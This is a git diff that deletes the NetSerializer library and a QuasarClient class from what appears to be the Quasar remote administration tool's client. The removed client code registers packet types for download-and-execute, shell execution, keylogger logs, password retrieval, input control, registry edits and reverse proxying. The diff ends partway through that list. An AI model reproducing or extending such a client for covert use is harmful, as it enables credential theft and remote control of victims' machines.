b/Client/Core/NetSerializer/Serializer.cs deleted file mode 100644 index 96f5f39fb..000000000 --- a/Client/Core/NetSerializer/Serializer.cs +++ /dev/null @@ -1,254 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Reflection; -using System.Reflection.Emit; -using xClient.Core.NetSerializer.TypeSerializers; - -namespace xClient.Core.NetSerializer -{ - public class Serializer - { - Dictionary m_typeIDMap; - - delegate void SerializerSwitch(Serializer serializer, Stream stream, object ob); - delegate void DeserializerSwitch(Serializer serializer, Stream stream, out object ob); - - SerializerSwitch m_serializerSwitch; - DeserializerSwitch m_deserializerSwitch; - - static ITypeSerializer[] s_typeSerializers = new ITypeSerializer[] { - new ObjectSerializer(), - new PrimitivesSerializer(), - new ArraySerializer(), - new EnumSerializer(), - new DictionarySerializer(), - new GenericSerializer(), - }; - - ITypeSerializer[] m_userTypeSerializers; - - /// - /// Initialize NetSerializer - /// - /// Types to be (de)serialized - public Serializer(IEnumerable rootTypes) - : this(rootTypes, new ITypeSerializer[0]) - { - } - - /// - /// Initialize NetSerializer - /// - /// Types to be (de)serialized - /// Array of custom serializers - public Serializer(IEnumerable rootTypes, ITypeSerializer[] userTypeSerializers) - { - if (userTypeSerializers.All(s => s is IDynamicTypeSerializer || s is IStaticTypeSerializer) == false) - throw new ArgumentException("TypeSerializers have to implement IDynamicTypeSerializer or IStaticTypeSerializer"); - - m_userTypeSerializers = userTypeSerializers; - - var typeDataMap = GenerateTypeData(rootTypes); - - GenerateDynamic(typeDataMap); - - m_typeIDMap = typeDataMap.ToDictionary(kvp => kvp.Key, kvp => kvp.Value.TypeID); - -#if GENERATE_DEBUGGING_ASSEMBLY - // Note: GenerateDebugAssembly overwrites some fields from typeDataMap - GenerateDebugAssembly(typeDataMap); -#endif - } - - public void Serialize(Stream stream, object data) - { - m_serializerSwitch(this, stream, data); - } - - public object Deserialize(Stream stream) - { - object o; - m_deserializerSwitch(this, stream, out o); - return o; - } - - Dictionary GenerateTypeData(IEnumerable rootTypes) - { - var map = new Dictionary(); - var stack = new Stack(PrimitivesSerializer.GetSupportedTypes().Concat(rootTypes)); - - stack.Push(typeof(object)); - - // TypeID 0 is reserved for null - ushort typeID = 1; - - while (stack.Count > 0) - { - var type = stack.Pop(); - - if (map.ContainsKey(type)) - continue; - - if (type.IsAbstract || type.IsInterface) - continue; - - if (type.ContainsGenericParameters) - throw new NotSupportedException(String.Format("Type {0} contains generic parameters", type.FullName)); - - var serializer = m_userTypeSerializers.FirstOrDefault(h => h.Handles(type)); - - if (serializer == null) - serializer = s_typeSerializers.FirstOrDefault(h => h.Handles(type)); - - if (serializer == null) - throw new NotSupportedException(String.Format("No serializer for {0}", type.FullName)); - - foreach (var t in serializer.GetSubtypes(type)) - stack.Push(t); - - TypeData typeData; - - if (serializer is IStaticTypeSerializer) - { - var sts = (IStaticTypeSerializer)serializer; - - MethodInfo writer; - MethodInfo reader; - - sts.GetStaticMethods(type, out writer, out reader); - - Debug.Assert(writer != null && reader != null); - - typeData = new TypeData(typeID++, writer, reader); - - } - else if (serializer is IDynamicTypeSerializer) - { - var dts = (IDynamicTypeSerializer)serializer; - - typeData = new TypeData(typeID++, dts); - } - else - { - throw new Exception(); - } - - map[type] = typeData; - } - - return map; - } - - void GenerateDynamic(Dictionary map) - { - /* generate stubs */ - foreach (var kvp in map) - { - var type = kvp.Key; - var td = kvp.Value; - - if (!td.IsGenerated) - continue; - - td.WriterMethodInfo = Helpers.GenerateDynamicSerializerStub(type); - td.ReaderMethodInfo = Helpers.GenerateDynamicDeserializerStub(type); - } - - var ctx = new CodeGenContext(map); - - /* generate bodies */ - - foreach (var kvp in map) - { - var type = kvp.Key; - var td = kvp.Value; - - if (!td.IsGenerated) - continue; - - var writerDm = (DynamicMethod)td.WriterMethodInfo; - td.TypeSerializer.GenerateWriterMethod(type, ctx, writerDm.GetILGenerator()); - - var readerDm = (DynamicMethod)td.ReaderMethodInfo; - td.TypeSerializer.GenerateReaderMethod(type, ctx, readerDm.GetILGenerator()); - } - - var writer = (DynamicMethod)ctx.GetWriterMethodInfo(typeof(object)); - var reader = (DynamicMethod)ctx.GetReaderMethodInfo(typeof(object)); - - m_serializerSwitch = (SerializerSwitch)writer.CreateDelegate(typeof(SerializerSwitch)); - m_deserializerSwitch = (DeserializerSwitch)reader.CreateDelegate(typeof(DeserializerSwitch)); - } - -#if GENERATE_DEBUGGING_ASSEMBLY - static void GenerateDebugAssembly(Dictionary map) - { - var ab = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("NetSerializerDebug"), AssemblyBuilderAccess.RunAndSave); - var modb = ab.DefineDynamicModule("NetSerializerDebug.dll"); - var tb = modb.DefineType("NetSerializer", TypeAttributes.Public); - - /* generate stubs */ - foreach (var kvp in map) - { - var type = kvp.Key; - var td = kvp.Value; - - if (!td.IsGenerated) - continue; - - td.WriterMethodInfo = Helpers.GenerateStaticSerializerStub(tb, type); - td.ReaderMethodInfo = Helpers.GenerateStaticDeserializerStub(tb, type); - } - - var ctx = new CodeGenContext(map); - - /* generate bodies */ - - foreach (var kvp in map) - { - var type = kvp.Key; - var td = kvp.Value; - - if (!td.IsGenerated) - continue; - - var writerMb = (MethodBuilder)td.WriterMethodInfo; - td.TypeSerializer.GenerateWriterMethod(type, ctx, writerMb.GetILGenerator()); - - var readerMb = (MethodBuilder)td.ReaderMethodInfo; - td.TypeSerializer.GenerateReaderMethod(type, ctx, readerMb.GetILGenerator()); - } - - tb.CreateType(); - ab.Save("NetSerializerDebug.dll"); - } -#endif - - /* called from the dynamically generated code */ - ushort GetTypeID(object ob) - { - ushort id; - - if (ob == null) - return 0; - - var type = ob.GetType(); - - if (m_typeIDMap.TryGetValue(type, out id) == false) - throw new InvalidOperationException(String.Format("Unknown type {0}", type.FullName)); - - return id; - } - } -} diff --git a/Client/Core/NetSerializer/TypeSerializers/ArraySerializer.cs b/Client/Core/NetSerializer/TypeSerializers/ArraySerializer.cs deleted file mode 100644 index 4abf355e3..000000000 --- a/Client/Core/NetSerializer/TypeSerializers/ArraySerializer.cs +++ /dev/null @@ -1,193 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection.Emit; - -namespace xClient.Core.NetSerializer.TypeSerializers -{ - class ArraySerializer : IDynamicTypeSerializer - { - public bool Handles(Type type) - { - if (!type.IsArray) - return false; - - if (type.GetArrayRank() != 1) - throw new NotSupportedException(String.Format("Multi-dim arrays not supported: {0}", type.FullName)); - - return true; - } - - public IEnumerable GetSubtypes(Type type) - { - yield return type.GetElementType(); - } - - public void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il) - { - var elemType = type.GetElementType(); - - var notNullLabel = il.DefineLabel(); - - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Brtrue_S, notNullLabel); - - // if value == null, write 0 - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldc_I4_0); - il.Emit(OpCodes.Tailcall); - il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(uint))); - il.Emit(OpCodes.Ret); - - il.MarkLabel(notNullLabel); - - // write array len + 1 - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldlen); - il.Emit(OpCodes.Ldc_I4_1); - il.Emit(OpCodes.Add); - il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(uint))); - - // declare i - var idxLocal = il.DeclareLocal(typeof(int)); - - // i = 0 - il.Emit(OpCodes.Ldc_I4_0); - il.Emit(OpCodes.Stloc_S, idxLocal); - - var loopBodyLabel = il.DefineLabel(); - var loopCheckLabel = il.DefineLabel(); - - il.Emit(OpCodes.Br_S, loopCheckLabel); - - // loop body - il.MarkLabel(loopBodyLabel); - - var data = ctx.GetTypeDataForCall(elemType); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - // write element at index i - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldelem, elemType); - - il.Emit(OpCodes.Call, data.WriterMethodInfo); - - // i = i + 1 - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldc_I4_1); - il.Emit(OpCodes.Add); - il.Emit(OpCodes.Stloc_S, idxLocal); - - il.MarkLabel(loopCheckLabel); - - // loop condition - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldlen); - il.Emit(OpCodes.Conv_I4); - il.Emit(OpCodes.Clt); - il.Emit(OpCodes.Brtrue_S, loopBodyLabel); - - il.Emit(OpCodes.Ret); - } - - public void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il) - { - var elemType = type.GetElementType(); - - var lenLocal = il.DeclareLocal(typeof(uint)); - - // read array len - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloca_S, lenLocal); - il.Emit(OpCodes.Call, ctx.GetReaderMethodInfo(typeof(uint))); - - var notNullLabel = il.DefineLabel(); - - /* if len == 0, return null */ - il.Emit(OpCodes.Ldloc_S, lenLocal); - il.Emit(OpCodes.Brtrue_S, notNullLabel); - - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldnull); - il.Emit(OpCodes.Stind_Ref); - il.Emit(OpCodes.Ret); - - il.MarkLabel(notNullLabel); - - var arrLocal = il.DeclareLocal(type); - - // create new array with len - 1 - il.Emit(OpCodes.Ldloc_S, lenLocal); - il.Emit(OpCodes.Ldc_I4_1); - il.Emit(OpCodes.Sub); - il.Emit(OpCodes.Newarr, elemType); - il.Emit(OpCodes.Stloc_S, arrLocal); - - // declare i - var idxLocal = il.DeclareLocal(typeof(int)); - - // i = 0 - il.Emit(OpCodes.Ldc_I4_0); - il.Emit(OpCodes.Stloc_S, idxLocal); - - var loopBodyLabel = il.DefineLabel(); - var loopCheckLabel = il.DefineLabel(); - - il.Emit(OpCodes.Br_S, loopCheckLabel); - - // loop body - il.MarkLabel(loopBodyLabel); - - // read element to arr[i] - - var data = ctx.GetTypeDataForCall(elemType); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloc_S, arrLocal); - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldelema, elemType); - - il.Emit(OpCodes.Call, data.ReaderMethodInfo); - - // i = i + 1 - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldc_I4_1); - il.Emit(OpCodes.Add); - il.Emit(OpCodes.Stloc_S, idxLocal); - - il.MarkLabel(loopCheckLabel); - - // loop condition - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldloc_S, arrLocal); - il.Emit(OpCodes.Ldlen); - il.Emit(OpCodes.Conv_I4); - il.Emit(OpCodes.Clt); - il.Emit(OpCodes.Brtrue_S, loopBodyLabel); - - - // store new array to the out value - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldloc_S, arrLocal); - il.Emit(OpCodes.Stind_Ref); - - il.Emit(OpCodes.Ret); - } - } -} diff --git a/Client/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs b/Client/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs deleted file mode 100644 index 0659cde74..000000000 --- a/Client/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs +++ /dev/null @@ -1,147 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Reflection; - -namespace xClient.Core.NetSerializer.TypeSerializers -{ - public class DictionarySerializer : IStaticTypeSerializer - { - public bool Handles(Type type) - { - if (!type.IsGenericType) - return false; - - var genTypeDef = type.GetGenericTypeDefinition(); - - return genTypeDef == typeof(Dictionary<,>); - } - - public IEnumerable GetSubtypes(Type type) - { - // Dictionary is stored as KeyValuePair[] - - var genArgs = type.GetGenericArguments(); - - var serializedType = typeof(KeyValuePair<,>).MakeGenericType(genArgs).MakeArrayType(); - - yield return serializedType; - } - - public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) - { - Debug.Assert(type.IsGenericType); - - if (!type.IsGenericType) - throw new Exception(); - - var genTypeDef = type.GetGenericTypeDefinition(); - - Debug.Assert(genTypeDef == typeof(Dictionary<,>)); - - var containerType = this.GetType(); - - writer = GetGenWriter(containerType, genTypeDef); - reader = GetGenReader(containerType, genTypeDef); - - var genArgs = type.GetGenericArguments(); - - writer = writer.MakeGenericMethod(genArgs); - reader = reader.MakeGenericMethod(genArgs); - } - - static MethodInfo GetGenWriter(Type containerType, Type genType) - { - var mis = containerType.GetMethods(BindingFlags.Static | BindingFlags.Public) - .Where(mi => mi.IsGenericMethod && mi.Name == "WritePrimitive"); - - foreach (var mi in mis) - { - var p = mi.GetParameters(); - - if (p.Length != 3) - continue; - - if (p[1].ParameterType != typeof(Stream)) - continue; - - var paramType = p[2].ParameterType; - - if (paramType.IsGenericType == false) - continue; - - var genParamType = paramType.GetGenericTypeDefinition(); - - if (genType == genParamType) - return mi; - } - - return null; - } - - static MethodInfo GetGenReader(Type containerType, Type genType) - { - var mis = containerType.GetMethods(BindingFlags.Static | BindingFlags.Public) - .Where(mi => mi.IsGenericMethod && mi.Name == "ReadPrimitive"); - - foreach (var mi in mis) - { - var p = mi.GetParameters(); - - if (p.Length != 3) - continue; - - if (p[1].ParameterType != typeof(Stream)) - continue; - - var paramType = p[2].ParameterType; - - if (paramType.IsByRef == false) - continue; - - paramType = paramType.GetElementType(); - - if (paramType.IsGenericType == false) - continue; - - var genParamType = paramType.GetGenericTypeDefinition(); - - if (genType == genParamType) - return mi; - } - - return null; - } - - public static void WritePrimitive(Serializer serializer, Stream stream, Dictionary value) - { - var kvpArray = new KeyValuePair[value.Count]; - - int i = 0; - foreach (var kvp in value) - kvpArray[i++] = kvp; - - serializer.Serialize(stream, kvpArray); - } - - public static void ReadPrimitive(Serializer serializer, Stream stream, out Dictionary value) - { - var kvpArray = (KeyValuePair[])serializer.Deserialize(stream); - - value = new Dictionary(kvpArray.Length); - - foreach (var kvp in kvpArray) - value.Add(kvp.Key, kvp.Value); - } - } -} diff --git a/Client/Core/NetSerializer/TypeSerializers/EnumSerializer.cs b/Client/Core/NetSerializer/TypeSerializers/EnumSerializer.cs deleted file mode 100644 index 521291bdc..000000000 --- a/Client/Core/NetSerializer/TypeSerializers/EnumSerializer.cs +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Reflection; - -namespace xClient.Core.NetSerializer.TypeSerializers -{ - public class EnumSerializer : IStaticTypeSerializer - { - public bool Handles(Type type) - { - return type.IsEnum; - } - - public IEnumerable GetSubtypes(Type type) - { - var underlyingType = Enum.GetUnderlyingType(type); - - yield return underlyingType; - } - - public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) - { - Debug.Assert(type.IsEnum); - - var underlyingType = Enum.GetUnderlyingType(type); - - writer = Primitives.GetWritePrimitive(underlyingType); - reader = Primitives.GetReaderPrimitive(underlyingType); - } - } -} diff --git a/Client/Core/NetSerializer/TypeSerializers/GenericSerializer.cs b/Client/Core/NetSerializer/TypeSerializers/GenericSerializer.cs deleted file mode 100644 index 361d27dda..000000000 --- a/Client/Core/NetSerializer/TypeSerializers/GenericSerializer.cs +++ /dev/null @@ -1,121 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection; -using System.Reflection.Emit; - -namespace xClient.Core.NetSerializer.TypeSerializers -{ - public class GenericSerializer : IDynamicTypeSerializer - { - public bool Handles(Type type) - { - if (!type.IsSerializable) - throw new NotSupportedException(String.Format("Type {0} is not marked as Serializable", type.FullName)); - - if (typeof(System.Runtime.Serialization.ISerializable).IsAssignableFrom(type)) - throw new NotSupportedException(String.Format("Cannot serialize {0}: ISerializable not supported", type.FullName)); - - return true; - } - - public IEnumerable GetSubtypes(Type type) - { - var fields = Helpers.GetFieldInfos(type); - - foreach (var field in fields) - yield return field.FieldType; - } - - public void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il) - { - // arg0: Serializer, arg1: Stream, arg2: value - - var fields = Helpers.GetFieldInfos(type); - - foreach (var field in fields) - { - // Note: the user defined value type is not passed as reference. could cause perf problems with big structs - - var fieldType = field.FieldType; - - var data = ctx.GetTypeDataForCall(fieldType); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - if (type.IsValueType) - il.Emit(OpCodes.Ldarga_S, 2); - else - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldfld, field); - - il.Emit(OpCodes.Call, data.WriterMethodInfo); - } - - il.Emit(OpCodes.Ret); - } - - public void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il) - { - // arg0: Serializer, arg1: stream, arg2: out value - - if (type.IsClass) - { - // instantiate empty class - il.Emit(OpCodes.Ldarg_2); - - var gtfh = typeof(Type).GetMethod("GetTypeFromHandle", BindingFlags.Public | BindingFlags.Static); - var guo = typeof(System.Runtime.Serialization.FormatterServices).GetMethod("GetUninitializedObject", BindingFlags.Public | BindingFlags.Static); - il.Emit(OpCodes.Ldtoken, type); - il.Emit(OpCodes.Call, gtfh); - il.Emit(OpCodes.Call, guo); - il.Emit(OpCodes.Castclass, type); - - il.Emit(OpCodes.Stind_Ref); - } - - var fields = Helpers.GetFieldInfos(type); - - foreach (var field in fields) - { - var fieldType = field.FieldType; - - var data = ctx.GetTypeDataForCall(fieldType); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldarg_2); - if (type.IsClass) - il.Emit(OpCodes.Ldind_Ref); - il.Emit(OpCodes.Ldflda, field); - - il.Emit(OpCodes.Call, data.ReaderMethodInfo); - } - - if (typeof(System.Runtime.Serialization.IDeserializationCallback).IsAssignableFrom(type)) - { - var miOnDeserialization = typeof(System.Runtime.Serialization.IDeserializationCallback).GetMethod("OnDeserialization", - BindingFlags.Instance | BindingFlags.Public, - null, new[] { typeof(Object) }, null); - - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldnull); - il.Emit(OpCodes.Constrained, type); - il.Emit(OpCodes.Callvirt, miOnDeserialization); - } - - il.Emit(OpCodes.Ret); - } - } -} diff --git a/Client/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs b/Client/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs deleted file mode 100644 index 7d80bb2d0..000000000 --- a/Client/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs +++ /dev/null @@ -1,157 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection; -using System.Reflection.Emit; - -namespace xClient.Core.NetSerializer.TypeSerializers -{ - class ObjectSerializer : IDynamicTypeSerializer - { - public bool Handles(Type type) - { - return type == typeof(object); - } - - public IEnumerable GetSubtypes(Type type) - { - return new Type[0]; - } - - public void GenerateWriterMethod(Type obtype, CodeGenContext ctx, ILGenerator il) - { - var getTypeIDMethodInfo = typeof(Serializer).GetMethod("GetTypeID", BindingFlags.NonPublic | BindingFlags.Instance, null, - new Type[] { typeof(object) }, null); - - var map = ctx.TypeMap; - - // arg0: Serializer, arg1: Stream, arg2: object - - var idLocal = il.DeclareLocal(typeof(ushort)); - - // get TypeID from object's Type - il.Emit(OpCodes.Ldarg_0); - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Call, getTypeIDMethodInfo); - il.Emit(OpCodes.Stloc_S, idLocal); - - // write typeID - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloc_S, idLocal); - il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(ushort))); - - // +1 for 0 (null) - var jumpTable = new Label[map.Count + 1]; - jumpTable[0] = il.DefineLabel(); - foreach (var kvp in map) - jumpTable[kvp.Value.TypeID] = il.DefineLabel(); - - il.Emit(OpCodes.Ldloc_S, idLocal); - il.Emit(OpCodes.Switch, jumpTable); - - il.Emit(OpCodes.Newobj, Helpers.ExceptionCtorInfo); - il.Emit(OpCodes.Throw); - - /* null case */ - il.MarkLabel(jumpTable[0]); - il.Emit(OpCodes.Ret); - - /* cases for types */ - foreach (var kvp in map) - { - var type = kvp.Key; - var data = kvp.Value; - - il.MarkLabel(jumpTable[data.TypeID]); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldarg_2); - il.Emit(type.IsValueType ? OpCodes.Unbox_Any : OpCodes.Castclass, type); - - il.Emit(OpCodes.Tailcall); - il.Emit(OpCodes.Call, data.WriterMethodInfo); - - il.Emit(OpCodes.Ret); - } - } - - public void GenerateReaderMethod(Type obtype, CodeGenContext ctx, ILGenerator il) - { - var map = ctx.TypeMap; - - // arg0: Serializer, arg1: stream, arg2: out object - - var idLocal = il.DeclareLocal(typeof(ushort)); - - // read typeID - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloca_S, idLocal); - il.Emit(OpCodes.Call, ctx.GetReaderMethodInfo(typeof(ushort))); - - // +1 for 0 (null) - var jumpTable = new Label[map.Count + 1]; - jumpTable[0] = il.DefineLabel(); - foreach (var kvp in map) - jumpTable[kvp.Value.TypeID] = il.DefineLabel(); - - il.Emit(OpCodes.Ldloc_S, idLocal); - il.Emit(OpCodes.Switch, jumpTable); - - il.Emit(OpCodes.Newobj, Helpers.ExceptionCtorInfo); - il.Emit(OpCodes.Throw); - - /* null case */ - il.MarkLabel(jumpTable[0]); - - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldnull); - il.Emit(OpCodes.Stind_Ref); - il.Emit(OpCodes.Ret); - - /* cases for types */ - foreach (var kvp in map) - { - var type = kvp.Key; - var data = kvp.Value; - - il.MarkLabel(jumpTable[data.TypeID]); - - var local = il.DeclareLocal(type); - - // call deserializer for this typeID - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - if (local.LocalIndex < 256) - il.Emit(OpCodes.Ldloca_S, local); - else - il.Emit(OpCodes.Ldloca, local); - - il.Emit(OpCodes.Call, data.ReaderMethodInfo); - - // write result object to out object - il.Emit(OpCodes.Ldarg_2); - if (local.LocalIndex < 256) - il.Emit(OpCodes.Ldloc_S, local); - else - il.Emit(OpCodes.Ldloc, local); - if (type.IsValueType) - il.Emit(OpCodes.Box, type); - il.Emit(OpCodes.Stind_Ref); - - il.Emit(OpCodes.Ret); - } - } - } -} diff --git a/Client/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs b/Client/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs deleted file mode 100644 index 6bcbcef99..000000000 --- a/Client/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Linq; -using System.Reflection; - -namespace xClient.Core.NetSerializer.TypeSerializers -{ - public class PrimitivesSerializer : IStaticTypeSerializer - { - static Type[] s_primitives = new Type[] { - typeof(bool), - typeof(byte), typeof(sbyte), - typeof(char), - typeof(ushort), typeof(short), - typeof(uint), typeof(int), - typeof(ulong), typeof(long), - typeof(float), typeof(double), - typeof(string), - typeof(DateTime), - typeof(byte[]), - }; - - public bool Handles(Type type) - { - return s_primitives.Contains(type); - } - - public IEnumerable GetSubtypes(Type type) - { - yield break; - } - - public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) - { - writer = Primitives.GetWritePrimitive(type); - reader = Primitives.GetReaderPrimitive(type); - } - - public static IEnumerable GetSupportedTypes() - { - return s_primitives; - } - } -} diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs deleted file mode 100644 index 5644c0073..000000000 --- a/Client/Core/Networking/QuasarClient.cs +++ /dev/null @@ -1,180 +0,0 @@ -using System; -using System.Diagnostics; -using System.Threading; -using System.Windows.Forms; -using xClient.Config; -using xClient.Core.Commands; -using xClient.Core.Data; -using xClient.Core.NetSerializer; -using xClient.Core.Packets; -using xClient.Core.Utilities; - -namespace xClient.Core.Networking -{ - public class QuasarClient : Client - { - /// - /// When Exiting is true, stop all running threads and exit. - /// - public static bool Exiting { get; private set; } - public bool Authenticated { get; private set; } - private readonly HostsManager _hosts; - - public QuasarClient(HostsManager hostsManager) : base() - { - this._hosts = hostsManager; - - base.Serializer = new Serializer(new Type[] - { - typeof (Packets.ServerPackets.GetAuthentication), - typeof (Packets.ServerPackets.DoClientDisconnect), - typeof (Packets.ServerPackets.DoClientReconnect), - typeof (Packets.ServerPackets.DoClientUninstall), - typeof (Packets.ServerPackets.DoDownloadAndExecute), - typeof (Packets.ServerPackets.DoUploadAndExecute), - typeof (Packets.ServerPackets.GetDesktop), - typeof (Packets.ServerPackets.GetProcesses), - typeof (Packets.ServerPackets.DoProcessKill), - typeof (Packets.ServerPackets.DoProcessStart), - typeof (Packets.ServerPackets.GetDrives), - typeof (Packets.ServerPackets.GetDirectory), - typeof (Packets.ServerPackets.DoDownloadFile), - typeof (Packets.ServerPackets.DoMouseEvent), - typeof (Packets.ServerPackets.DoKeyboardEvent), - typeof (Packets.ServerPackets.GetSystemInfo), - typeof (Packets.ServerPackets.DoVisitWebsite), - typeof (Packets.ServerPackets.DoShowMessageBox), - typeof (Packets.ServerPackets.DoClientUpdate), - typeof (Packets.ServerPackets.GetMonitors), - typeof (Packets.ServerPackets.DoShellExecute), - typeof (Packets.ServerPackets.DoPathRename), - typeof (Packets.ServerPackets.DoPathDelete), - typeof (Packets.ServerPackets.DoShutdownAction), - typeof (Packets.ServerPackets.GetStartupItems), - typeof (Packets.ServerPackets.DoStartupItemAdd), - typeof (Packets.ServerPackets.DoStartupItemRemove), - typeof (Packets.ServerPackets.DoDownloadFileCancel), - typeof (Packets.ServerPackets.GetKeyloggerLogs), - typeof (Packets.ServerPackets.DoUploadFile), - typeof (Packets.ServerPackets.GetPasswords), - typeof (Packets.ServerPackets.DoLoadRegistryKey), - typeof (Packets.ServerPackets.DoCreateRegistryKey), - typeof (Packets.ServerPackets.DoDeleteRegistryKey), - typeof (Packets.ServerPackets.DoRenameRegistryKey), - typeof (Packets.ServerPackets.DoCreateRegistryValue), - typeof (Packets.ServerPackets.DoDeleteRegistryValue), - typeof (Packets.ServerPackets.DoRenameRegistryValue), - typeof (Packets.ServerPackets.DoChangeRegistryValue), - typeof (Packets.ServerPackets.SetAuthenticationSuccess), - typeof (Packets.ClientPackets.GetAuthenticationResponse), - typeof (Packets.ClientPackets.SetStatus), - typeof (Packets.ClientPackets.SetStatusFileManager), - typeof (Packets.ClientPackets.SetUserStatus), - typeof (Packets.ClientPackets.GetDesktopResponse), - typeof (Packets.ClientPackets.GetProcessesResponse), - typeof (Packets.ClientPackets.GetDrivesResponse), - typeof (Packets.ClientPackets.GetDirectoryResponse), - typeof (Packets.ClientPackets.DoDownloadFileResponse), - typeof (Packets.ClientPackets.GetSystemInfoResponse), - typeof (Packets.ClientPackets.GetMonitorsResponse), - typeof (Packets.ClientPackets.DoShellExecuteResponse), - typeof (Packets.ClientPackets.GetStartupItemsResponse), - typeof (Packets.ClientPackets.GetKeyloggerLogsResponse), - typeof (Packets.ClientPackets.GetPasswordsResponse), - typeof (Packets.ClientPackets.GetRegistryKeysResponse), - typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse), - typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), - typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), - typeof (Packets.ClientPackets.GetCreateRegistryValueResponse), - typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse), - typeof (Packets.ClientPackets.GetRenameRegistryValueResponse), - typeof (Packets.ClientPackets.GetChangeRegistryValueResponse), - typeof (ReverseProxy.Packets.ReverseProxyConnect), - typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), - typeof (ReverseProxy.Packets.ReverseProxyData), - typeof 